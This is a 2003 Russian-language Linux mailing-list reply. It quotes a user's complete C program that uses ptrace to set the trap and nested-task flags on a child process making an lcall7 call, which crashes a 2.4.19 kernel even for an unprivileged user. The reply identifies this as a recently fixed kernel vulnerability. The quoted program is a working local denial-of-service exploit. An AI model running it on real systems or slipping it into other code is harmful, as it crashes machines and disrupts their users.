[Comm] Re: [Comm] kernel panic из-за ма-а-а-аленькой программки

ASA =?iso-8859-1?q?llb_=CE=C1_udm=2Eru?=
Пт Янв 10 07:14:20 MSK 2003


Hello Пушкин,

Friday, January 10, 2003, 7:19:12 AM, you wrote:

ПСА> Приветсвую, всезнающий All

ПСА> Вниманию ядерщиков (или ядрёнщиков :)) )

ПСА> Есть такая программка:

ПСА> //-------------------------------------------------------------
ПСА> #include <sys/ptrace.h>

ПСА> struct user_regs_struct
ПСА> {
ПСА>    long ebx, ecx, edx, esi, edi, ebp, eax;
ПСА>    unsigned short ds, __ds, es, __es;
ПСА>    unsigned short fs, __fs, gs, __gs;
ПСА>    long orig_eax, eip;
ПСА>    unsigned short cs, __cs;
ПСА>    long eflags, esp;
ПСА>    unsigned short ss, __ss;
ПСА> };
ПСА> int
ПСА> main (void)
ПСА> {
ПСА>    int pid;
ПСА>    char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
ПСА>    void (*lcall7) (void) = (void *) dos;
ПСА>    struct user_regs_struct d;
ПСА> if (!(pid = fork ()))
ПСА> {
ПСА>    usleep (1000);
ПСА>    (*lcall7) ();
ПСА> }
ПСА>      else
ПСА>      {
ПСА>        ptrace (PTRACE_ATTACH, pid, 0, 0);
ПСА>    while (1)
ПСА>        {
ПСА>            wait (0);
ПСА>            ptrace (PTRACE_GETREGS, pid, 0, &d);
ПСА>        d.eflags |= 0x4100;    /* set TF and NT */
ПСА>        ptrace (PTRACE_SETREGS, pid, 0, &d);
ПСА>        ptrace (PTRACE_SYSCALL, pid, 0, 0);
ПСА>        }
ПСА>      }
ПСА> return 1;
ПСА> }
ПСА> //--------------------------------------------------------------

ПСА> Компилируется и запускается.
ПСА> В результате стабильный kernel panic даже от простого юзера
ПСА> (честно говоря под рутом и не пробовал)

ПСА> Сизиф от 25 декабря минувшего года
ПСА> rpm -qa | grep kernel
ПСА> kernel24-up-2.4.19-alt0.8
ПСА> NVIDIA_kernel-up-2.4.19_1.0.3123-alt0.8

ПСА> К чему бы это?
К тому, что это уязвимость ядра была найдена совсем недавно и
быстро была починена. Надеюсь, что Константин уже знает о ней.

-- 
Best regards,
 ASA                            mailto:llb на udm.ru




Подробная информация о списке рассылки community